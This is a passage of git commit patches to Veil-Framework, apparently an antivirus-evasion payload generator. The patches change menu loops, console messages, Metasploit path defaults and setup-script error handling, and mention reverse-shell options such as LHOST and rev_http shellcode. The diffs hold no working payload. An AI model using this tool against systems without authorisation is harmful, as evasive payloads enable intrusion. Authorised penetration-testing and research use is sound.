helpers.color('(default)', yellow=True))) print(' %s - MSFVenom' % (helpers.color('2'))) print(' %s - Custom shellcode string' % (helpers.color('3'))) @@ -501,9 +503,11 @@ def generate(self, required_options=None): # return custom specified shellcode if it was set previously if self.custom_shellcode != '': + print(helpers.color("\n [*] Using pre-generated shellcode...\n")) return self.custom_shellcode elif self.invoke_ordnance: + print(helpers.color("\n [*] Generating shellcode using Veil-Ordnance...\n")) ordnance_loop = True Ordnance_object = ordnance_import.Tools() while ordnance_loop: @@ -512,11 +516,11 @@ def generate(self, required_options=None): self.payload_choice = Ordnance_object.selected_payload self.shellcode_options = Ordnance_object.payload_options ordnance_loop = False - return Ordnance_object.final_shellcode + return Ordnance_object.final_shellcode # generate the shellcode using msfvenom else: - print(helpers.color("\n [*] Generating shellcode...")) + print(helpers.color("\n [*] Generating shellcode using msfvenom...\n")) if self.msfvenomCommand == '': print(helpers.color(" [!] ERROR: msfvenom command not specified in payload!\n", warning=True)) return None diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 9b6609b..6d5ab8b 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -256,7 +256,7 @@ def load_payloads(self, cli_args): def print_options_screen(self, pload_object): print() print("Payload: " + helpers.color(pload_object.path) + " selected\n") - print(helpers.color("Required Options:\n")) + print(helpers.color(" Required Options:\n")) print('{0: <16}'.format('Name') + '\t' + '{0: <8}'.format('Value') + '\t' + '{0: <8}'.format('Description')) print('{0: <16}'.format('----') + '\t' + '{0: <8}'.format('-----') + '\t' + '{0: <8}'.format('-----------')) for opt_name in sorted(pload_object.required_options.keys()): @@ -272,7 +272,7 @@ def payload_info(self, payload_obj, showTitle=True, showInfo=True): showInfo = whether to show the payload information bit """ - print(helpers.color(" Payload information:\n")) + print(helpers.color(" Payload Information:\n")) print("\tName:\t\t" + payload_obj.name) print("\tLanguage:\t" + payload_obj.language) print("\tRating:\t\t" + payload_obj.rating) @@ -305,7 +305,7 @@ def tool_main_menu(self): # Iterate over payloads and find the user selected payload module evasion_main_command = "" show_evasion_menu = True - while evasion_main_command == '': + while True: # set out tab completion for the appropriate modules on each run # as other modules sometimes reset this @@ -322,21 +322,18 @@ def tool_main_menu(self): for command in sorted(self.evasion_main_menu_commands.keys()): print("\t" + helpers.color(command) + '\t\t\t' + self.evasion_main_menu_commands[command]) print() - show_evasion_menu = True + show_evasion_menu = False evasion_main_command = input('Veil/Evasion>: ').strip().lower() if evasion_main_command.startswith("back") or evasion_main_command.startswith("main") or evasion_main_command.startswith("menu"): - evasion_main_command = "" break elif evasion_main_command.startswith("checkvt"): self.check_vt() - evasion_main_command = "" elif evasion_main_command.startswith("clean"): self.clean_artifacts() - evasion_main_command = "" elif evasion_main_command.startswith("exit") or evasion_main_command.startswith("quit"): sys.exit(0) @@ -394,23 +391,18 @@ def use_payload(self, selected_payload): evasion_helpers.print_dict_message(self.payload_option_commands, show_title=False) while True: - payload_options_command = input("[" + selected_payload.path + ">>] ").strip().lower() + payload_options_command = input("[" + selected_payload.path + ">>]: ").strip().lower() if payload_options_command.startswith("back") or payload_options_command.startswith("main") or payload_options_command.startswith("menu"): - payload_options_command = "" break elif payload_options_command.startswith("gen") or payload_options_command.startswith("run"): # Checking for Ruby specific payloads because of dumbass sleep check if selected_payload.language == 'ruby' and selected_payload.required_options["SLEEP"][0] != "X" and selected_payload.required_options["USERNAME"][0] == "X" and selected_payload.required_options["DOMAIN"][0] == "X" and selected_payload.required_options["HOSTNAME"][0] == "X": print(helpers.color("[*] If using SLEEP check with Ruby, you must also provide an additional check (like HOSTNAME)!", warning=True)) - payload_options_command = "" else: selected_payload.generate() - if not outfile.compiler(selected_payload): - payload_options_command = "" - else: - payload_options_command = "" + if outfile.compiler(selected_payload): break elif payload_options_command.startswith("exit") or payload_options_command.startswith("quit"): @@ -419,7 +411,6 @@ def use_payload(self, selected_payload): elif payload_options_command.startswith("help") or payload_options_command.startswith("option"): self.print_options_screen(selected_payload) evasion_helpers.print_dict_message(self.payload_option_commands, show_title=False) - payload_options_command = "" elif payload_options_command.startswith("set"): if len(payload_options_command.split()) == 3: diff --git a/tools/ordnance/tool.py b/tools/ordnance/tool.py index 3fb4a6d..ec3dfaa 100644 --- a/tools/ordnance/tool.py +++ b/tools/ordnance/tool.py @@ -36,7 +36,7 @@ def __init__(self, cli_options=None): self.shellcode_option_commands = { "set": "Set payload option", "generate": "Generate the payload", - "back": "Go back", + "back": "Go back to Veil-Ordnance", "exit": "Completely exit Veil", "options": "Show the payload's options", "list": "List available encoders", @@ -149,11 +149,13 @@ def print_shellcode_option_commands(self): print("Available Commands: \n") for name in sorted(self.shellcode_option_commands.keys()): print('\t' + '{0: <8}'.format(name) + "\t\t" + '{0: <8}'.format(self.shellcode_option_commands[name])) + print() def print_options_screen(self, pload_object): + print() ordnance_helpers.title_screen() print("Payload: " + helpers.color(pload_object.cli_name) + " selected\n") - print(helpers.color("Required Options:\n")) + print(helpers.color(" Required Options:\n")) print('{0: <16}'.format('Name') + '\t' + '{0: <8}'.format('Value') + '\t' + '{0: <8}'.format('Description')) print('{0: <16}'.format('----') + '\t' + '{0: <8}'.format('-----') + '\t' + '{0: <8}'.format('-----------')) for opt_name in sorted(pload_object.required_options.keys()): @@ -163,6 +165,18 @@ def print_options_screen(self, pload_object): print() return + def print_menu(self): + print() + ordnance_helpers.title_screen() + print("Veil-Ordnance Menu") + print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") + print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") + print("Available Commands:\n") + for command in sorted(self.ordnance_main_menu_commands.keys()): + print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) + print() + return + def print_payloads(self): print("Available Payload Modules") print("\tCommand Line Name => Description") @@ -188,21 +202,15 @@ def tool_main_menu(self, invoked=False): # invoked is used when another tool is calling this function ordnance_main_command = "" show_ordnance_menu = True + + # Called from another tool? if invoked: self.invoked = True - while ordnance_main_command == '': - + while True: if show_ordnance_menu: - ordnance_helpers.title_screen() - print("Veil-Ordnance Menu") - print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") - print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") - print("Available Commands:\n") - for command in sorted(self.ordnance_main_menu_commands.keys()): - print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) - print() - show_ordnance_menu = True + self.print_menu() + show_ordnance_menu = False ordnance_main_command = input('Veil/Ordnance>: ').strip().lower() @@ -211,56 +219,39 @@ def tool_main_menu(self, invoked=False): if len(ordnance_main_command.split()) == 1: print() - print(helpers.color("[*] Error: You did not provide what you want to list!", warning=True)) - print(helpers.color("[*] Ex: list payloads or list encoders", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide what you want to list!", warning=True)) + print(helpers.color(" [*] Ex: list payloads OR list encoders", warning=True)) print() - ordnance_main_command = "" - show_ordnance_menu = False elif len(ordnance_main_command.split()) == 2: - list_selection = ordnance_main_command.split()[1].lower() # Check and see what we are listing # Payloads if list_selection.startswith('p'): + print() ordnance_helpers.title_screen() - self.print_payloads() print() - ordnance_main_command = "" - show_ordnance_menu = False + self.print_payloads() - # Encdoers + # Encoders elif list_selection.startswith('e'): + print() ordnance_helpers.title_screen() - self.print_encoders() print() - ordnance_main_command = "" - show_ordnance_menu = False + self.print_encoders() else: print() - print(helpers.color("[*] Error: You did not provide a valid item to list!", warning=True)) - print(helpers.color("[*] Ex: list payloads or list encoders", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid item to list!", warning=True)) + print(helpers.color(" [*] Ex: list payloads OR list encoders", warning=True)) print() - ordnance_main_command = "" - show_ordnance_menu = False - - else: - ordnance_main_command = "" - - elif ordnance_main_command.startswith("help"): - ordnance_main_command = "" elif ordnance_main_command.startswith("back") or ordnance_main_command.startswith("main") or ordnance_main_command.startswith("menu"): - ordnance_main_command = "" break elif ordnance_main_command.startswith("exit") or ordnance_main_command.startswith("quit"): - if invoked: - break - else: - sys.exit(0) + sys.exit(0) elif ordnance_main_command.startswith('use'): if len(ordnance_main_command.split()) == 2: @@ -268,23 +259,23 @@ def tool_main_menu(self, invoked=False): selected_payload_module = self.return_payload_object(payload_selected) if not selected_payload_module: print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: use 2 or use rev_http", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: use 2 OR use rev_http", warning=True)) print() - show_ordnance_menu = False else: self.use_payload(selected_payload_module) - show_evasion_menu = True + + # If invoked, return the shellcode + if self.invoked: + return + ## If not, show the menu + else: + show_evasion_menu = True else: print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: use 2 or use rev_http", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: use 2 OR use rev_http", warning=True)) print() - show_ordnance_menu = False - ordnance_main_command = "" - - else: - ordnance_main_command = "" return def return_payload_object(self, user_selection): @@ -326,16 +317,15 @@ def use_payload(self, payload): readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) - breakout = False - shellcode_command = input( - "[" + payload.cli_name + ">>]: ").strip().lower() + show_payload_menu = False + shellcode_command = input("[" + payload.cli_name + ">>]: ").strip().lower() # Start logic for required option commands if shellcode_command.startswith("set"): if len(shellcode_command.split()) < 3 or len(shellcode_command.split()) > 3: print() - print(helpers.color("[*] Error: You did not provide the correct input for setting an option!", warning=True)) - print(helpers.color("[*] Ex: set LHOST 192.168.18.14", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide the correct input for setting an option!", warning=True)) + print(helpers.color(" [*] Ex: set LHOST 192.168.18.14", warning=True)) print() else: found_req_option = False @@ -406,34 +396,32 @@ def use_payload(self, payload): self.use_encoder(payload) self.final_shellcode = payload.customized_shellcode - # Print payload stats + # Print banner & payload stats + print() ordnance_helpers.title_screen() + print() payload.payload_stats() + + # Did we come from Evasion? Or direct from Ordnance... if self.invoked: - dummy = input('\nHit enter to return to Veil-Evasion... ') + print('\nHalf way... Shellcode generated with Veil-Ordnance! Returning to Veil-Evasion.') + + # Re-set settings + if "LHOST" in payload.required_options: + payload.required_options["LHOST"][0] = "" + if "LPORT" in payload.required_options: + payload.required_options["LPORT"][0] = "" else: - dummy2 = input('\nHit enter to continue... ') - shellcode_command = "" + dummy = input('\nDone! Hit enter to continue...\n') - if "LHOST" in payload.required_options: - payload.required_options["LHOST"][0] = "" - if "LPORT" in payload.required_options: - payload.required_options["LPORT"][0] = "" - breakout = True - break + show_payload_menu = True + break elif shellcode_command.startswith("option"): # Reprint the shellcode options to console self.print_options_screen(payload) - if breakout: - ordnance_helpers.title_screen() - print("Veil-Ordnance Menu") - print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") - print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") - print("Available Commands:\n") - for command in sorted(self.ordnance_main_menu_commands.keys()): - print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) - print() + if show_payload_menu: + if not self.invoked: + self.print_menu() break - return From 8c28f0ed102057bbaebf4736921384212cbbadbe Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Tue, 17 Apr 2018 09:02:37 +0100 Subject: [PATCH 34/38] Misc --- tools/evasion/evasion_common/outfile.py | 4 ++-- tools/evasion/evasion_common/shellcode_help.py | 6 +++--- tools/ordnance/tool.py | 7 +++---- 3 files changed, 8 insertions(+), 9 deletions(-) diff --git a/tools/evasion/evasion_common/outfile.py b/tools/evasion/evasion_common/outfile.py index caf53dd..42f707f 100644 --- a/tools/evasion/evasion_common/outfile.py +++ b/tools/evasion/evasion_common/outfile.py @@ -29,14 +29,14 @@ def compiler(payload_object, invoked=False, cli_object=None): if not invoked: # Determine the file name to use for output - file_name = input('Please enter the base name for output files (default is payload): ').strip() + file_name = input(' [>] Please enter the base name for output files (default is payload): ').strip() else: file_name = cli_object.o # Basic checks on input while file_name != '' and ("\\" in file_name or "/" in file_name): print(helpers.color("\nPlease provide a base name, not a path, for the output base\n", warning=True)) - file_name = input('Please enter the base name for output files (default is payload): ').strip() + file_name = input(' [>] Please enter the base name for output files (default is payload): ').strip() # If no base name, set it to be payload if file_name == '': diff --git a/tools/evasion/evasion_common/shellcode_help.py b/tools/evasion/evasion_common/shellcode_help.py index e208d06..fdf4b2f 100644 --- a/tools/evasion/evasion_common/shellcode_help.py +++ b/tools/evasion/evasion_common/shellcode_help.py @@ -503,11 +503,11 @@ def generate(self, required_options=None): # return custom specified shellcode if it was set previously if self.custom_shellcode != '': - print(helpers.color("\n [*] Using pre-generated shellcode...\n")) + print(helpers.color("\n [*] Using pre-generated shellcode...")) return self.custom_shellcode elif self.invoke_ordnance: - print(helpers.color("\n [*] Generating shellcode using Veil-Ordnance...\n")) + print(helpers.color("\n [*] Generating shellcode using Veil-Ordnance...")) ordnance_loop = True Ordnance_object = ordnance_import.Tools() while ordnance_loop: @@ -520,7 +520,7 @@ def generate(self, required_options=None): # generate the shellcode using msfvenom else: - print(helpers.color("\n [*] Generating shellcode using msfvenom...\n")) + print(helpers.color("\n [*] Generating shellcode using msfvenom...")) if self.msfvenomCommand == '': print(helpers.color(" [!] ERROR: msfvenom command not specified in payload!\n", warning=True)) return None diff --git a/tools/ordnance/tool.py b/tools/ordnance/tool.py index ec3dfaa..1fca3ef 100644 --- a/tools/ordnance/tool.py +++ b/tools/ordnance/tool.py @@ -146,7 +146,7 @@ def print_encoders(self): return def print_shellcode_option_commands(self): - print("Available Commands: \n") + print(helpers.color(" Available Commands:\n")) for name in sorted(self.shellcode_option_commands.keys()): print('\t' + '{0: <8}'.format(name) + "\t\t" + '{0: <8}'.format(self.shellcode_option_commands[name])) print() @@ -399,12 +399,11 @@ def use_payload(self, payload): # Print banner & payload stats print() ordnance_helpers.title_screen() - print() payload.payload_stats() # Did we come from Evasion? Or direct from Ordnance... if self.invoked: - print('\nHalf way... Shellcode generated with Veil-Ordnance! Returning to Veil-Evasion.') + print('\nHalf way... ' + helpers.color('Shellcode generated with Veil-Ordnance!') + ' Returning to Veil-Evasion.\n') # Re-set settings if "LHOST" in payload.required_options: @@ -412,7 +411,7 @@ def use_payload(self, payload): if "LPORT" in payload.required_options: payload.required_options["LPORT"][0] = "" else: - dummy = input('\nDone! Hit enter to continue...\n') + dummy = input("\n" + helpers.color('Done!') + "Hit enter to continue...") show_payload_menu = True break From 4791e2a6b6c2b9e7a2759d9305965af0d4efa66e Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Wed, 18 Apr 2018 08:54:31 +0100 Subject: [PATCH 35/38] Start fresh with FORCE enabled --- config/setup.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/config/setup.sh b/config/setup.sh index 08757c3..6945851 100755 --- a/config/setup.sh +++ b/config/setup.sh @@ -295,6 +295,7 @@ func_package_deps(){ ## Clone down the required install files echo -e "\n\n [*] ${YELLOW}Pulling down binary dependencies${RESET}\n" + [ "${force}" == "true" ] && rm -rf "${dependenciesdir}" ## Pulling down from github, if it fails, pull local folder if [ -d "${dependenciesdir}" ]; then echo -e " [*] ${YELLOW}Already detected folder: ${BOLD}${dependenciesdir}${RESET}\n" From 1e0c429afb5c72157e11607a227050cd22bf478b Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Mon, 23 Apr 2018 08:01:55 +0100 Subject: [PATCH 36/38] Applying 2x @ChrisTruncer's changes ~ #189 (Calling python & MSF path) --- config/setup.sh | 4 ++-- config/update-config.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/config/setup.sh b/config/setup.sh index 6945851..c09e46a 100755 --- a/config/setup.sh +++ b/config/setup.sh @@ -64,7 +64,7 @@ RESET="\033[00m" # Normal func_title(){ ## Echo title echo " ==========================================================================" - echo " Veil (Setup Script) | [Updated]: 2018-04-16" + echo " Veil (Setup Script) | [Updated]: 2018-04-23" echo " ==========================================================================" echo " [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework" echo " ==========================================================================" @@ -738,7 +738,7 @@ func_update_config(){ echo -e " [*] ${YELLOW}Detected current Veil settings. Removing...${RESET}\n" sudo rm -rf /etc/veil/ fi - sudo -u "${trueuser}" sudo python update-config.py + sudo -u "${trueuser}" sudo ./update-config.py sudo mkdir -p "${outputdir}" diff --git a/config/update-config.py b/config/update-config.py index 335e5bc..8f95894 100755 --- a/config/update-config.py +++ b/config/update-config.py @@ -65,7 +65,7 @@ def generateConfig(options): print( " [*] TEMP_PATH = " + options["TEMP_PATH"] ) # Metasploit Framework's path - config += '# The path to the metasploit framework, for example: /usr/share/metasploit-framework/\n' + config += '# The path to the metasploit framework, for example: /opt/metasploit-framework/embedded/framework/\n' config += 'METASPLOIT_PATH="' + options['METASPLOIT_PATH'] + '"\n\n' print( " [*] METASPLOIT_PATH = " + options['METASPLOIT_PATH'] ) @@ -175,7 +175,7 @@ def generateConfig(options): issue = open( "/etc/issue" ).read() # General options - options["METASPLOIT_PATH"] = "/opt/metasploit-framework/" + options["METASPLOIT_PATH"] = "/opt/metasploit-framework/embedded/framework/" options["MSFVENOM_OPTIONS"] = "" options["MSFVENOM_PATH"] = "/usr/local/bin/" options["OPERATING_SYSTEM"] = "Linux" From 9ee3f81377859da37fe01d2100e060d375f96938 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Mon, 23 Apr 2018 09:16:54 +0100 Subject: [PATCH 37/38] More verbose setup handling --- config/setup.sh | 180 +++++++++++++++++++++++++++++------------------- 1 file changed, 109 insertions(+), 71 deletions(-) diff --git a/config/setup.sh b/config/setup.sh index c09e46a..283c8cb 100755 --- a/config/setup.sh +++ b/config/setup.sh @@ -104,7 +104,7 @@ func_check_env(){ echo "" echo -e " ${RED}[ERROR]: This setup script requires sudo!${RESET}" echo -e " ${YELLOW} Please install and configure sudo then run this setup again.${RESET}" - echo -e " ${YELLOW} Example: For Debian/Ubuntu: apt-get -y install sudo${RESET}" + echo -e " ${YELLOW} Example: For Debian/Ubuntu: apt-get install -y sudo${RESET}" echo -e " ${YELLOW} For Fedora 22+: dnf -y install sudo${RESET}" exit 1 fi @@ -133,15 +133,18 @@ func_check_env(){ ## Make sure Metasploit framework is already installed if [ "${os}" != "kali" ] \ - || [ "${os}" == "parrot" ] \ - && [ "${silent}" == false ]; then + && [ "${os}" != "parrot" ]; then echo -e "\n\n ${BOLD}[!] NON-KALI Users: Before you begin the install, make sure that you have" echo -e " the Metasploit-Framework installed before you proceed!${RESET}\n" echo -en " Continue with installation? ([${BOLD}Y${RESET}]es/[${BOLD}n${RESET}]o): " - read -p '' install - install=$(echo "${install}" | tr '[:upper:]' '[:lower:]') - echo + if [ "${silent}" == "true" ]; then + echo -e "${GREEN}Y${RESET}\n" + else + read -p '' install + install=$(echo "${install}" | tr '[:upper:]' '[:lower:]') + echo + fi if [ "${install}" == 'n' ] \ || [ "${install}" == 'no' ]; then @@ -229,15 +232,23 @@ func_package_deps(){ ## Update APT echo -e " [*] ${YELLOW}Updating APT${RESET}\n" - sudo apt-get -qq update \ - || echo -e "${RED}[ERROR]: Failed with apt-get update (1)\n${RESET}\n" + sudo apt-get -qq update + if [[ "$?" -ne "0" ]]; then + msg="Failed with apt-get update (1): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi #ttf-mscorefonts-installer - sudo ${arg} apt-get -y install wine unzip winbind wget git ca-certificates \ + sudo ${arg} apt-get install -y wine unzip winbind wget git ca-certificates \ mingw-w64 monodevelop mono-mcs \ ruby golang \ - python python-crypto python-pefile python-pip python3-pip \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (1)\n${RESET}\n" + python python-crypto python-pefile python-pip python3-pip + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing dependencies (1): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi elif [ "${os}" == '"elementary"' ]; then ## Silent mode? @@ -247,46 +258,58 @@ func_package_deps(){ ## Update APT echo -e " [*] ${YELLOW}Updating APT${RESET}\n" - sudo apt-get -qq update \ - || echo -e "${RED}[ERROR]: Failed with apt-get update (1)\n${RESET}\n" + sudo apt-get -qq update + if [[ "$?" -ne "0" ]]; then + msg="Failed with apt-get update (2): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi - sudo ${arg} apt-get -y install mingw-w64 monodevelop mono-mcs wine unzip ruby golang wget git \ - python python-crypto python-pefile python-pip ca-certificates python3-pip winbind python3-crypto \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (2)\n${RESET}\n" + sudo ${arg} apt-get install -y mingw-w64 monodevelop mono-mcs wine unzip ruby golang wget git \ + python python-crypto python-pefile python-pip ca-certificates python3-pip winbind python3-crypto + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing dependencies (2: $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi elif [ "${os}" == "centos" ] \ || [ "${os}" == "fedora" ] \ || [ "${os}" == "rhel" ]; then sudo ${arg} dnf -y install mingw64-binutils mingw64-cpp mingw64-gcc mingw64-gcc-c++ mono-tools-monodoc monodoc \ monodevelop mono-tools mono-core wine unzip ruby golang wget git python python-crypto python-pefile \ - python-pip ca-certificates msttcore-fonts-installer python3-pip winbind \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (3)\n${RESET}\n" + python-pip ca-certificates msttcore-fonts-installer python3-pip winbind + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing dependencies (3): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi elif [ "${os}" == "arch" ] \ || [ "${os}" == "blackarch" ]; then sudo pacman -Sy ${arg} --needed mingw-w64-binutils mingw-w64-crt mingw-w64-gcc mingw-w64-headers mingw-w64-winpthreads \ - mono mono-tools mono-addins python2-pip wget unzip ruby python python2 python-crypto gcc-go ca-certificates base-devel python-pip krb5 samba \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (4)\n${RESET}\n" + mono mono-tools mono-addins python2-pip wget unzip ruby python python2 python-crypto gcc-go ca-certificates base-devel python-pip krb5 samba + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing dependencies (4): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi + ## Install pefile for python2 using pip, rather than via AUR as the package is currently broken. - sudo pip2 install pefile \ - || echo -e "${RED}[ERROR]: Failed with pip2 install (1)\n${RESET}\n" - fi - tmp="$?" - if [[ "${tmp}" -ne "0" ]]; then - msg="Failed to install dependencies... Exit code: ${tmp}" - errors="${errors}\n${msg}" - echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + sudo pip2 install pefile + if [[ "$?" -ne "0" ]]; then + msg="Failed with pip2 install (1): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi fi - ## Couple of extras for other OSs if [ "${os}" == "kali" ] \ || [ "${os}" == "parrot" ]; then - sudo ${arg} apt-get -y install metasploit-framework python2.7 python3 python3-pycryptodome python3-crypto \ - || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (5)\n${RESET}\n" - tmp="$?" - if [[ "${tmp}" -ne "0" ]]; then - msg="Failed to install the additional Kali/parrot dependencies... Exit code: ${tmp}" + sudo ${arg} apt-get install -y metasploit-framework python2.7 python3 python3-pycryptodome python3-crypto + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing dependencies (5): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi @@ -303,15 +326,23 @@ func_package_deps(){ pushd "${dependenciesdir}" >/dev/null sudo git reset --hard HEAD >/dev/null sudo git clean -fd >/dev/null - sudo git pull \ - || echo -e "${RED}[ERROR]: Failed with git pull (1)\n${RESET}\n" + sudo git pull + if [[ "$?" -ne "0" ]]; then + msg="Failed with git pull: $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi popd >/dev/null else echo -e " [*] ${YELLOW}Empty folder... git cloning${RESET}\n" sudo mkdir -p "${dependenciesdir}" sudo rm -rf "${dependenciesdir}" - sudo git clone https://github.com/Veil-Framework/VeilDependencies.git "${dependenciesdir}" \ - || echo -e "${RED}[ERROR]: Failed with git clone (1)\n${RESET}\n" + sudo git clone https://github.com/Veil-Framework/VeilDependencies.git "${dependenciesdir}" + if [[ "$?" -ne "0" ]]; then + msg="Failed with git clone: $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi fi @@ -343,8 +374,12 @@ func_package_deps(){ sudo dpkg --add-architecture i386 echo -e " [*] ${YELLOW}Updating APT${RESET}\n" - sudo apt-get -qq update \ - || echo -e "${RED}[ERROR]: Failed with apt-get update (1)\n${RESET}\n" + sudo apt-get -qq update + if [[ "$?" -ne "0" ]]; then + msg="Failed with apt-get update (3): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi ## Already have i386 added else echo -e " [*] ${YELLOW}Already have x86 architecture added...${RESET}\n" @@ -354,28 +389,33 @@ func_package_deps(){ if [ "${os}" == "ubuntu" ] \ || [ "${os}" == "linuxmint" ]; then ## Special urghbuntu derivative snowflakes - sudo ${arg} apt-get -y -qq install wine wine1.6 wine1.6-i386 \ - || echo -e "${RED}[ERROR]: Failed with apt-get install wine (1)\n${RESET}\n" + sudo ${arg} apt-get -y -qq install wine wine1.6 wine1.6-i386 + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing wine (1): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi else ## Anything that isn't ubuntu or ubuntu-derived - sudo ${arg} apt-get -y -qq install wine wine64 wine32 \ - || echo -e "${RED}[ERROR]: Failed with apt-get install wine (2)\n${RESET}\n" + sudo ${arg} apt-get -y -qq install wine wine64 wine32 + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing wine (2): $?" + errors="${errors}\n${msg}" + echo -e " ${RED}[ERROR] ${msg}${RESET}\n" + fi fi - tmp="$?" - if [[ "${tmp}" -ne "0" ]]; then - msg="Failed to install Wine... Exit code: ${tmp}" + elif [ "${arch}" == "x86" ] \ + || [ "${arch}" == "i686" ]; then + sudo apt-get -qq update + if [[ "$?" -ne "0" ]]; then + msg="Failed with apt-get update (4): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi - elif [ "${arch}" == "x86" ] \ - || [ "${arch}" == "i686" ]; then - sudo apt-get -qq update \ - || echo -e "${RED}[ERROR]: Failed with apt-get update (2)\n${RESET}\n" - sudo ${arg} apt-get -y -qq install wine32 \ - || echo -e "${RED}[ERROR]: Failed with apt-get install wine (3)\n${RESET}\n" - tmp="$?" - if [[ "${tmp}" -ne "0" ]]; then - msg="Failed to install Wine... Exit code: ${tmp}" + + sudo ${arg} apt-get -y -qq install wine32 + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing wine (3): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi @@ -388,11 +428,9 @@ func_package_deps(){ ## Elementary OS x86_64 elif [ "${os}" == '"elementary"' ]; then echo -e "\n\n [*] ${YELLOW}Installing Wine on Elementary OS (via APT)${RESET}\n" - sudo ${arg} apt-get -y -qq install wine wine1.6 wine1.6-amd64 \ - || echo -e "${RED}[ERROR]: Failed with apt-get install wine (4)\n${RESET}\n" - tmp="$?" - if [[ "${tmp}" -ne "0" ]]; then - msg="Failed to install Wine in Elementary OS... Exit code: ${tmp}" + sudo ${arg} apt-get -y -qq install wine wine1.6 wine1.6-amd64 + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing wine (4): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi @@ -403,9 +441,8 @@ func_package_deps(){ || [ "${os}" == "centos" ]; then echo -e "\n\n [*] ${YELLOW}Installing Wine 32-bit on x86_64 System (via DNF)${RESET}\n" sudo dnf install -y wine.i686 wine - tmp="$?" - if [[ "${tmp}" -ne "0" ]]; then - msg="Failed to install Wine x86_64... Exit code: ${tmp}" + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing wine (5): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi @@ -417,9 +454,8 @@ func_package_deps(){ fi sudo pacman -Syu ${args} --needed --noconfirm wine wine-mono wine_gecko git - tmp="$?" - if [[ "${tmp}" -ne "0" ]]; then - msg="Failed to install Wine x86_64... Exit code: ${tmp}" + if [[ "$?" -ne "0" ]]; then + msg="Failed with installing wine (6): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi @@ -434,7 +470,7 @@ func_package_deps(){ ## we're already going to look for an existing veil wine setup (~/.config/veil/) and nuke it ## making it easy for a user to rerun the setup and have a new wine environment. if [ -d "${winedir}" ]; then - echo -e "\n\n [*] ${RED}[ALERT]: Existing Veil Wine environment detected at: ${BOLD}${winedir}${RESET}\n" + echo -e "\n\n [*] ${BOLD}[ALERT]${RESET}: Existing Veil Wine environment detected at: ${BOLD}${winedir}${RESET}\n" echo -en " Do you want to nuke it? ([${BOLD}y${RESET}]es/[${BOLD}N${RESET}]o): " if [ "${silent}" == "true" ]; then echo -e "${GREEN}Y${RESET}\n" @@ -747,7 +783,9 @@ func_update_config(){ echo -e "\n\n [*] 